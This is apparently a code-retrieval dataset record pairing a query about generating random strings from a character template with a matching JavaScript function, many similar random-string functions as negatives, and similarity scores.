characters.charAt(Math.floor(Math.random() * charactersLength));\n };\n return result;\n}", "function randomString(length, chars) {\n var result = '';\n for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];\n return result;\n }", "function randomString(length, chars) {\n var result = '';\n for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];\n return result;\n }", "function random(length) {\n var result = '';\n var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n var charactersLength = characters.length;\n for ( var i = 0; i < length; i++ ) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n \n return result;\n }", "function randomString() {\n\tlength = 25;\n var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n var result = '';\n for (var i = length; i > 0; --i) result += chars[Math.round(Math.random() * (chars.length - 1))];\n return result;\n}", "function randomString(length, chars) {\n var result = '';\n for (var i = length; i > 0; --i) result += chars[Math.round(Math.random() * (chars.length - 1))];\n return result;\n }", "function randomString(length)\n{\n\tvar string = \"\";\n\tvar charset = \"abcdefghijklmnopqrstuvwxyz\";\n\tfor(var i = 0; i < length; i++)\n\t{\n\t\tvar index = randomIndex(charset.length);\n\t\tstring += charset.substring(index, index + 1);\n\t}\n\treturn string;\n}", "function random_str(len = 10, is_fixed_len) {\n if (!is_fixed_len) {\n len = random_int(len) + 1;\n }\n var s = \"\";\n for (var i = 0; i < len; i++) {\n s += alphabet[random_int(alphabet_length)];\n }\n return s;\n}", "function generateRandomString(minLen, maxLen){\n var resultString = \"\";\n \n var length = getRandomInt(minLen, maxLen+1);\n for(var i = 1; i <= length; i++){\n resultString += String.fromCharCode(getRandomInt(asciiRange[0], asciiRange[1]+1));\n \n }\n return resultString;\n}", "function randomString() {\n \tvar chars = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz\";\n \tvar string_length = 8;\n \tvar randomstring = '';\n \tfor (var i=0; i<string_length; i++) {\n \t\tvar rnum = Math.floor(Math.random() * chars.length);\n \t\trandomstring += chars.substring(rnum,rnum+1);\n \t}\n \treturn randomstring;\n }", "function rndId(length) {\n var iStr=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n var n=0;\n var i=0;\n var s=\"\";\n\n for (x=1;x<=length;x++) {\n n=Math.random()*62;\n i=Math.round(n);\n s+=iStr.charAt(i);\n }\n return s;\n}", "function randomString() {\n var generate = \"\";\n var randomChar = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (var i = 0; i <= 6; i++) {\n generate += randomChar.charAt((Math.floor(Math.random() * randomChar.length)));\n }\n return generate;\n }", "function create(stringLength) {\n var result = '';\n\n alphabet = 'CDEHKMPRTUWXY012458';\n var alphabetLength = alphabet.length;\n\n if ((stringLength === undefined) || isNaN(stringLength)) stringLength = 12;\n for (var i = 0; i < stringLength; i++) {\n var rnd = Math.floor(Math.random() * alphabetLength);\n result += alphabet[rnd];\n }\n\n return result;\n }", "function generateRandomString () {\n let string = '';\n const chars = '0123456789abcdefghijklmnopqrstuvwxyz';\n while (string.length < 6) {\n string += chars.charAt(Math.floor(Math.random() * chars.length));\n }\n return string;\n}", "function generateRandomString(){\n let length = 6;\n let result = \"\";\n const possible = \"ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz23456789\";\n // I've removed some characters that might cause confusion like O/0, I/l/1\n for (let i = 0; i < length; i++){\n result += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n\n return result;\n}", "function generateRandomString(strLength) {\n \n let outputArray = [];\n let str = \"\";\n \n for(var i = 0; i < strLength; i++){\n let randomNum = String.fromCharCode(Math.random() * (122 - 65) + 65);\n //omitting slashes in the random generated string so it does not interfere with URI \n if(randomNum === '/' || randomNum === '\\\\') {\n randomNum = 'x';\n };\n outputArray.push(randomNum);\n } \n str = outputArray.join('');\n\n return str;\n}", "function generateRandomString() {\r\n let characters = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\"\r\n let charactersLength = characters.length;\r\n let result = '';\r\n for (let i = 0; i < 6; i++){\r\n result += characters.charAt(Math.floor(Math.random() * charactersLength))\r\n }\r\n return result;\r\n}", "function randomString(length, chars) {\n var result = '';\n for (var i = length; i > 0; --i) result += chars[Math.round(Math.random() * (chars.length - 1))];\n return result;\n }", "function randomString() {\n var chars = '0123456789abcdefghiklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXTZ';\n var str = '';\n for (var i = 0; i < 10; i++) {\n str += chars[Math.floor(Math.random() * chars.length)];\n }\n return str;\n }", "function randomString() {\n\t var chars = '0123456789abcdefghiklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXTZ';\n\t var str = '';\n\t for (var i = 0; i < 10; i++) {\n\t str += chars[Math.floor(Math.random() * chars.length)];\n\t }\n\t return str;\n\t}", "function randomString() {\n var chars = '0123456789abcdefghiklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXTZ';\n var str = '';\n for (let i = 0; i < 10; i++) {\n str += chars[Math.floor(Math.random() * chars.length)];\n }\n return str;\n }", "function generaterandomString() {\n var randomString = \"\";\n var possibleChars = \"1234567890abcdefghijklmnopqrstuvqwxyzABCDEFGHIJKLMNOPQRSTUVWYZ\";\n for (i = 0; i < 6; i++) {\n randomString += possibleChars.charAt(Math.floor(Math.random() * possibleChars.length));\n };\n return randomString;\n}", "function makeid(length) {\r\n var text = \"\";\r\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\r\n\r\n for (var i = 0; i < length; i++) {\r\n text += possible.charAt(Math.floor(Math.random() * possible.length));\r\n }\r\n\r\n return text;\r\n}", "function randomString(N) {\n return (Math.random().toString(36)+'00000000000000000').slice(2, N+2);\n}", "function generateRandomString() {\n const charset = \"abcdefghijklmnopqrstuvwxyz0123456789\";\n let rand = '';\n\n for (let i = 0; i < 6; i ++) {\n rand += charset.charAt(Math.floor(Math.random() * charset.length));\n }\n return rand;\n}", "function getRandomString() {\n var s = '';\n for (var i = 0; i < RANDOM_STRING_LENGTH; i++)\n s += String.fromCharCode(Math.floor(Math.random() * 26) + 64);\n return s;\n}", "function generateRandomString() {\n var length = 6,\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\",\n retVal = \"\";\n for (var i = 0, n = charset.length; i < length; ++i) {\n retVal += charset.charAt(Math.floor(Math.random() * n));\n }\n return retVal;\n}", "function generateRandomString() {\n const SHORT_URL_LENGTH = 6;\n const LEGAL_CHARACTERS =\n 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n const randomAlphanumerics = [];\n for (let i = 0; i < SHORT_URL_LENGTH; i++) {\n const random = Math.floor(Math.random() * LEGAL_CHARACTERS.length);\n randomAlphanumerics.push(LEGAL_CHARACTERS[random]);\n }\n return randomAlphanumerics.join('');\n}", "function makeid(length) {\n var result = '';\n var characters = 'abcdefghijklmnopqrstuvwxyz0123456789';\n var charactersLength = characters.length;\n for (var i = 0; i < length; i++) {\n result += characters.charAt(Math.floor(Math.random() *\n charactersLength));\n }\n return result;\n }", "function generateRandomString() {\n return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0,5);\n}", "function generateRandomString() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (var i = 0; i < 6; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n return text;\n}", "function makeid(length) {\n var result = '';\n var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n var charactersLength = characters.length;\n for ( var i = 0; i < length; i++ ) {\n result += characters.charAt(Math.floor(Math.random() * \n charactersLength));\n }\n return result;\n }", "function generateRandomString() {\n let rString = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n let result = '';\n for (let i = 0; i < 6; i++) {\n result += rString[Math.floor(Math.random() * rString.length)];\n }\n return result;\n}" ]
[ "0.8456905", "0.84255314", "0.8380088", "0.83675474", "0.8335171", "0.8330317", "0.8306633", "0.8267628", "0.8266442", "0.8263384", "0.8228066", "0.820647", "0.8185016", "0.8173181", "0.81711936", "0.8155387", "0.8153787", "0.81399816", "0.8125144", "0.8125049", "0.8120073", "0.8118779", "0.8072199", "0.8058939", "0.80547047", "0.8038281", "0.8021896", "0.8013048", "0.8005735", "0.80041534", "0.79937446", "0.7984399", "0.7982274", "0.7974455", "0.7970978", "0.7964175", "0.7964175", "0.796034", "0.7956949", "0.7942476", "0.79384446", "0.7919933", "0.79184437", "0.7914397", "0.79085946", "0.7899176", "0.7895554", "0.7895254", "0.7889502", "0.7889412", "0.7874175", "0.7860087", "0.7849442", "0.7845155", "0.7831353", "0.78135395", "0.7811647", "0.78083855", "0.7800559", "0.7794407", "0.77860296", "0.778317", "0.77721065", "0.7771718", "0.7763459", "0.7748215", "0.7745355", "0.77417994", "0.7736538", "0.7734111", "0.77238774", "0.7705804", "0.77051014", "0.770271", "0.77011883", "0.77009314", "0.76983947", "0.7696222", "0.76959693", "0.7695852", "0.76866186", "0.7684439", "0.7677393", "0.7675736", "0.76716185", "0.76656556", "0.7652022", "0.76346534", "0.76308775", "0.76297545", "0.7627057", "0.7614414", "0.76007855", "0.7598951", "0.75912374", "0.7588119", "0.75758004", "0.75740474", "0.75678617", "0.7567769", "0.75663316" ]
0.0
-1
Generate random string using template. Template contains all possible characters.
function rdmStrTemplate(length, template) { var text = ""; for( var i=0; i < length; i++ ) text += template.charAt(Math.floor(Math.random() * template.length)); return text; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function generaterandomString() {\n var randomString = \"\";\n var possibleChars = \"1234567890abcdefghijklmnopqrstuvqwxyzABCDEFGHIJKLMNOPQRSTUVWYZ\";\n for (i = 0; i < 6; i++) {\n randomString += possibleChars.charAt(Math.floor(Math.random() * possibleChars.length));\n };\n return randomString;\n}", "function generateRandomString(){\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for( var i=0; i < 5; i++ )\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n\n return text;\n}", "function generateRandomString() {\n let text = \"\";\n let possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (let i = 0; i < 6; i++) { text += possible.charAt(Math.floor(Math.random() * possible.length)); }\n return text;\n}", "function generateRandomString() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (var i = 0; i < 6; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n return text;\n}", "function generateRandomString() {\n let text = '';\n const possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n\n for (let i = 0; i < 6; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return text;\n}", "function generateRandomString() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (var i = 0; i < 6; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n return text;\n}", "function generateRandomString() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for(var i = 0; i < 6; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return text;\n}", "function generateRandomString() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (var i = 0; i < 6; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return text;\n}", "function generateRandomString() {\n console.log('generating');\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (var i = 0; i < 6; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return text;\n}", "function generateRandomString() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (var i = 0; i < 6; i++ )\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n return text;\n}", "function generateRandomString() {\n let text = \"\";\n const alphabet = 'abcdefghijklmnopqrstuvwxyz';\n const possible = alphabet + alphabet.toUpperCase() + '1234567890';\n\n for (var i = 0; i < 6; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n\n return text;\n}", "function getRandomString() {\n\treturn getRandomStringByLength(10);\n}", "function generateRandomString() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for (var i = 0; i < 6; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n return text;\n}", "function generateRandomString() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for(let i = 0; i < 6; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return text;\n}", "function random_str() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for (var i = 0; i < 5; i++){\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n\n return text;\n }", "function randomString() {\n var chars = '0123456789abcdefghiklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXTZ';\n var str = '';\n for (let i = 0; i < 10; i++) {\n str += chars[Math.floor(Math.random() * chars.length)];\n }\n return str;\n }", "function generateRandomString() {\n let result = \"\";\n const characters = \"0123456789\";\n const charactersLength = characters.length;\n\n for (let i = 0; i < 6; i++) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n }\n return result;\n }", "function generateRandomString() {\n let text = \"\"\n let characters = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\"\n for (var i = 0; i < 6; i++) {\n text += characters.charAt(Math.floor(Math.random() * characters.length));\n }\n return text;\n}", "function randomstring() \n{\n var text = '';\n var possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n for (var i=0; i < 8; i++) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return text;\n}", "function generateRandomString() {\n return randomstring.generate(6);\n}", "function createRandom() {\n let length = 10;\n let charSet =\n \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789*$!?\";\n let output = \"\";\n\n for (let i = 0; i < length; i++) {\n output =\n output + charSet.charAt(Math.floor(Math.random() * charSet.length));\n }\n return output;\n}", "function randomString() {\n var generate = \"\";\n var randomChar = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (var i = 0; i <= 6; i++) {\n generate += randomChar.charAt((Math.floor(Math.random() * randomChar.length)));\n }\n return generate;\n }", "function generateRandomString () {\n const charOptions = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n let randomString = '';\n for (let i = 0; i < 6; i += 1) {\n randomString += charOptions[Math.floor(Math.random() * charOptions.length)];\n }\n return randomString;\n}", "function randomString() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for( var i=0; i < 5; i++ )\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n return text;\n }", "function randomString() {\n var chars = '0123456789abcdefghiklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXTZ';\n var str = '';\n for (var i = 0; i < 10; i++) {\n str += chars[Math.floor(Math.random() * chars.length)];\n }\n return str;\n }", "function generateRandomString() {\r\n let characters = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\"\r\n let charactersLength = characters.length;\r\n let result = '';\r\n for (let i = 0; i < 6; i++){\r\n result += characters.charAt(Math.floor(Math.random() * charactersLength))\r\n }\r\n return result;\r\n}", "function randomStr()\n{\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for( var i=0; i < 25; i++ )\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n\n return text;\n}", "function generateRandomString() {\n const SHORT_URL_LENGTH = 6;\n const LEGAL_CHARACTERS =\n 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n const randomAlphanumerics = [];\n for (let i = 0; i < SHORT_URL_LENGTH; i++) {\n const random = Math.floor(Math.random() * LEGAL_CHARACTERS.length);\n randomAlphanumerics.push(LEGAL_CHARACTERS[random]);\n }\n return randomAlphanumerics.join('');\n}", "function generateRandomString() {\n const chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n let result = '';\n for (let i = 6; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];\n return result;\n}", "function randomString() {\n\t var chars = '0123456789abcdefghiklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXTZ';\n\t var str = '';\n\t for (var i = 0; i < 10; i++) {\n\t str += chars[Math.floor(Math.random() * chars.length)];\n\t }\n\t return str;\n\t}", "function genRegular(x) {\n var regularchar = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n var text = \"\";\n\n for (var i = 0; i < x; i++)\n text += regularchar.charAt(Math.floor(Math.random() * regularchar.length));\n return text;\n}", "function generateRandomString() {\n let result = '';\n let characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';\n let charactersLength = characters.length;\n for ( let i = 0; i < 6; i++ ) {\n result += characters.charAt(Math.floor(Math.random() * charactersLength));\n };\n return result;\n}", "randomString() {\n var text = \"\";\n var rand = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (var i = 0; i < 5; i++) {\n text += rand.charAt(Math.floor(Math.random() * rand.length));\n }\n return text;\n }", "function generateRandomString () {\n return Math.random().toString(36).slice(2, 8)\n}", "function generateRandomString() {\n const charset = \"abcdefghijklmnopqrstuvwxyz0123456789\";\n let rand = '';\n\n for (let i = 0; i < 6; i ++) {\n rand += charset.charAt(Math.floor(Math.random() * charset.length));\n }\n return rand;\n}", "function generateRandomString() {\n const chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz';\n const stringLength = 6;\n let stringResult = '';\n for (let i = 0; i < stringLength; i++) {\n let num = Math.floor(Math.random() * chars.length);\n stringResult += chars[num];\n }\n return stringResult;\n}", "function nonceGenerator(){\n\t//set text to empty string\n\tvar text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for(var i = 0; i < possible.length; i++) {\n //append random letter/number from possible \n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return text;\n}", "function generateRandomString() {\n let rString = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n let result = '';\n for (let i = 0; i < 6; i++) {\n result += rString[Math.floor(Math.random() * rString.length)];\n }\n return result;\n}", "function generateRandomString() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for (var i = 0; i < 6; i++) {\n text += possible.charAt(Math.floor(Math.random() * 6));\n }\n return text;\n}", "function getRandomString () {\n var seed = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789';\n var result = '';\n for (var i = 0; i < 10; i++) {\n var pos = Math.floor(Math.random() * seed.length);\n result += seed[pos];\n }\n return result;\n}", "function generateRandomString() {\n var output = '';\n chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n for (var i = 0; i < 6; i++) {\n output += chars.charAt(Math.floor(Math.random() * chars.length));\n }\n return output;\n}", "function generateRandomString() {\n let randomString = \"\";\n let possCharacters = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for (var i = 0; i < 6; i++) {\n randomString += possCharacters.charAt(Math.floor(Math.random() * possCharacters.length));\n }\n return randomString;\n}", "function generateRandomString() {\n var randStr = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (let i = 0; i < 6; i++) {\n randStr += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return randStr;\n}", "function generateRandomString() {\n var generate = \"\";\n var randomChar = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (var i = 0; i <= 6; i++) {\n generate += randomChar.charAt((Math.floor(Math.random() * randomChar.length)));\n\n }\n return generate;\n}", "function generateRandomString() {\n let randStr = \"\";\n let possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for (let i = 0; i < 6; i++)\n randStr += possible.charAt(Math.floor(Math.random() * possible.length));\n\n return randStr;\n}", "function generateRandomString() {\n const length = 6;\n const chars = '0123456789abcdefghijklmnopqrstuvwxyz';\n var result = '';\n for (let i = length; i > 0; --i) {\n result += chars[Math.floor(Math.random() * chars.length)];\n } \n return result;\n}", "function generateRandomString() {\n var randomString = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for (var i = 0; i < 6; i++)\n randomString += possible.charAt(Math.floor(Math.random() * possible.length));\n return randomString;\n}", "function generateRandomString () {\n let string = '';\n const chars = '0123456789abcdefghijklmnopqrstuvwxyz';\n while (string.length < 6) {\n string += chars.charAt(Math.floor(Math.random() * chars.length));\n }\n return string;\n}", "function generateRandomString() {\n return Math.random().toString(32).substr(2, 6);\n}", "generateId() {\n let text = \"\";\n let possible =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for (let i = 0; i < 5; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n\n return text;\n }", "function simpleText()\n {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n for( var i=0; i < 5; i++ )\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n\n return text;\n }", "generateID(){\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for (var i = 0; i < 5; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n\n return text;\n }", "function randomString() {\n \tvar chars = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz\";\n \tvar string_length = 8;\n \tvar randomstring = '';\n \tfor (var i=0; i<string_length; i++) {\n \t\tvar rnum = Math.floor(Math.random() * chars.length);\n \t\trandomstring += chars.substring(rnum,rnum+1);\n \t}\n \treturn randomstring;\n }", "function getRandomString() {\n var s = '';\n for (var i = 0; i < RANDOM_STRING_LENGTH; i++)\n s += String.fromCharCode(Math.floor(Math.random() * 26) + 64);\n return s;\n}", "function generateRandomString() {\n return Math.floor(Math.random() * 1e10).toString(32);\n}", "function newPss() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for (var i = 0; i < 8; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n\n return text;\n}", "function makeRandomName()\n{\n\tvar text = \"\";\n\tvar possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n\tfor( var i=0; i < 10; i++ )\n\t text += possible.charAt(Math.floor(Math.random() * possible.length));\n\n\treturn text;\n}", "static generateRandomText() {\n return Math.random().toString(36).substr(2); // remove `0.`\n }", "function createRandomId() {\n var text = '';\n var possible =\n 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';\n var possibleLength = possible.length;\n for (var i = 0; i < 5; i++) {\n text += possible.charAt(Math.floor(Math.random() * possibleLength));\n }\n return text;\n}", "function uniqueString() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\n for( var i=0; i < 8; i++ ) {\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n }\n return text;\n }", "function generateRandomString() {\n let key = \"\";\n const characters = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n\n for (let i = 0; i < 6; i++) {\n key += characters.substr(Math.floor((Math.random() * characters.length)), 1);\n }\n return key;\n}", "function generateRandomString(){\n let r = Math.random().toString(36).substring(7);\n return \"random\", r;\n }", "function createId() {\n\tvar text = \"\";\n\tvar possible = \"abcdefghijklmnopqrstuvwxyz0123456789\";\n\tfor( var i=0; i < 10; i++ )\n\t\ttext += possible.charAt(Math.floor(Math.random() * possible.length));\n\treturn text;\n}", "function generate(CharAmount, IncludeUpperCase, IncludeNumbers, IncludeSymbols) {\n let charcodes = LOWERCASE\n if (IncludeUpperCase) charcodes = charcodes.concat(UPPERCASE)\n if (IncludeNumbers) charcodes = charcodes.concat(NUMBERS)\n if (IncludeSymbols) charcodes = charcodes.concat(SYMBOLs)\n\n const passwordZ = []\n for (let i = 0; i < CharAmount; i++) {\n const charactercode = charcodes[Math.floor(Math.random() * charcodes.length)]\n passwordZ.push(String.fromCharCode(charactercode))\n }\n return passwordZ.join(\"\")\n}", "function generateRandomString() {\n var length = 6,\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\",\n retVal = \"\";\n for (var i = 0, n = charset.length; i < length; ++i) {\n retVal += charset.charAt(Math.floor(Math.random() * n));\n }\n return retVal;\n}", "function generateRandomString() {\n return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0,5);\n}", "function generateRandomString() {\n let randomString=\"\";\n let characterSet = \"abcdefghijklmnopqrstyuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n for(let i = 0; i <= 5; i++){\n randomString += characterSet.charAt(Math.floor(Math.random() * characterSet.length));\n };\n return randomString;\n}", "function genToken() {\n\tvar letters = \"abcdefghiklmnopqrstuvwwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\";\n\tvar token = \"\";\n\tfor (var i = 0 ; i < 36 ; ++i) {\n\t\ttoken += letters[Math.floor(Math.random() * letters.length)];\n\t}\n\treturn token;\n}", "function randomString() {\n\tvar chars = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz\";\n\tvar string_length = 8;\n\tvar rstr = '';\n\tfor (var i=0; i<string_length; i++) {\n\t\tvar rnum = Math.floor(Math.random() * chars.length);\n\t\trstr += chars.substring(rnum,rnum+1);\n\t}\n\treturn rstr;\n}", "function generateName() {\n var sRnd = '';\n var sChrs = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz\";\n for (var i = 0; i < 5; i++) {\n var randomPoz = Math.floor(Math.random() * sChrs.length);\n sRnd += sChrs.substring(randomPoz, randomPoz + 1);\n }\n return sRnd;\n}", "function generateRandomString() {\n return Math.random().toString(36).substr(2, 6);\n}", "function generateRandomString() {\n let randomString = \"\";\n let newString = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n for(var i = 0; i < 5; i++) {\n var random = Math.floor(Math.random() * newString.length);\n randomString += newString[random];\n }\n return randomString;\n}", "function generatePassword(choices, numberOfChar) {\n password = \"\";\n for (let i = 0; i < numberOfChar; i++) {\n password += getRandomValue(choices);\n }\n document.querySelector(\"#password\").textContent = password;\n return password;\n}", "function randomString() {\n\tlength = 25;\n var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n var result = '';\n for (var i = length; i > 0; --i) result += chars[Math.round(Math.random() * (chars.length - 1))];\n return result;\n}", "function makeKey () {\n var r = Math.floor(Math.random() * options.num)\n , k = keyTmpl + r\n return k.substr(k.length - 16)\n}", "function generateRandomString() {\n return Math.random().toString(36).slice(-6);\n}", "function GenrateRandonEmail() {\n var text = \"\";\n var possible = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n \n for (var i = 0; i < 10; i++)\n text += possible.charAt(Math.floor(Math.random() * possible.length));\n return text;\n \n }", "function create(stringLength) {\n var result = '';\n\n alphabet = 'CDEHKMPRTUWXY012458';\n var alphabetLength = alphabet.length;\n\n if ((stringLength === undefined) || isNaN(stringLength)) stringLength = 12;\n for (var i = 0; i < 